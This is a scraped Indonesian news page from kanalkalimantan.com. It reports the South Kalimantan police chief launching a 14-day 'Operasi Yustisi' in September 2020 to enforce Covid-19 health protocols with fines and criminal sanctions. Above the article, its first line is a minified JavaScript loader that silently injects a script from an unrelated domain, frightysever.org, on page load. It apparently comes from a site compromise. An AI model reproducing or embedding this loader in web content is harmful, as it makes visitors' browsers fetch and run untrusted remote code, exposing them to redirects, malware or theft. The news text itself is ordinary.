(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seluruh wilayah di Kalimantan Selatan telah memiliki peraturan kepala daerah tentang penerapan kedisiplinan dan penegakan hukum protokol kesehatan Covid-19. Dimana dalam peraturan tersebut dikenakan sanksi sosial, denda bahkan pidana apabila warga benar-benar tidak mematuhi protokol kesehatan.
“Sanksi pidana penjara akan diberikan bagi siapapun juga yang tidak mematuhi peraturan Wali Kota/Bupati tentang protokol kesehatan Covid-19, saya instruksikan kepada para Kapolres bahwa Polda Kalsel, TNI dan Satgas Penanganan Covid-19 akan bertindak tegas kepada siapa pun yang tidak patuh protokol kesehatan ini,” tegas Kapolda Kalsel Irjen Pol Dr Nico Afinta melepas Tim Mobile Penegak Disiplin Kesehatan Polda Kalsel, Senin (21/9/2020).
Sebelum melepas Tim Penegak Disiplin Kesehatan (PEDAS), lebih dulu dilakukan pemasangan rompi secara simbolis oleh Kapolda Kalsel. Pengecekan dihadiri Wakapolda Kalsel Brigjen Pol Mohamad Agung Budijono, Irwasda Polda Kalsel Kombes Pol Dr. Heri Armanto Sutikno, pejabat utama Polda Kalsel, Kapolresta Banjarmasin, Kapolres Banjarbaru, Kapolres Banjar dan Kapolres Batola.
Kapolda Kalsel menyampaikan operasi yustisi ini digelar sebagai tindak lanjut dari instruksi pemerintah, Kapolri dan Panglima TNI karena saat ini masih meningkatnya kasus Covid-19 di Indonesia, khususnya di Provinsi Kalimantan Selatan.
“Operasi Yustisi dilaksanakan serentak di seluruh Polres jajaran Polda Kalsel selama 14 hari kedepan, tujuannya untuk mencegah penyebaran virus corona di wilayah Kalimantan Selatan,” tegas jendral jebolan Akpol 1992 ini.
Untuk wilayah Banjarmasin, Banjarbaru, Banjar, Tanah Laut (Tala) dan Barito Kuala (Batola) menjadi atensi khusus oleh Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan.
Lebih lanjut disampaikan Kapolda Kalsel, dalam pelaksanaan Operasi Yustisi personil Direktorat Samapta, Direktorat Lantas dan Polres Jajaran Polda Kalsel bersama-sama dengan TNI, Sat Pol PP dan Gugus Tugas Penanganan Covid-19 tingkat provinsi dan kabupaten/kota memfokuskan tiga sasaran meliput orang, tempat dan kegiatan.
“Terhadap orang, petugas akan melakukan pengecekan siapa saja yang sedang melaksanakan isolasi mandiri di kediaman. Sedangkan untuk rempat, petugas akan menyasar tempat keramaian seperti pasar, terminal, penyeberangan ataupun tempat-tempat lainnya,” kata Nico Afinta.
Sementara untuk kegiatan, petugas menyasar tempat berkumpulnya orang, seperti cafe yang buka melebihi batas waktu, adanya live musik, serta kegiatan yang tidak ada pemberitahuan kepada petugas.
“Mari kita laksanakan kegiatan ini secara terus menerus, karena kita sebagai ujung tombak dan menjadi harapan penegak disiplin kesehatan Covid-19 dalam operasi yustisi ini,” harap Kapolda Kalsel.
Seluruh masyarakat Kalimantan Selatan pun diimbau untuk mematuhi protokol kesehatan, sehingga selain menjaga diri sendiri juga dapat menjaga diri orang lain. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.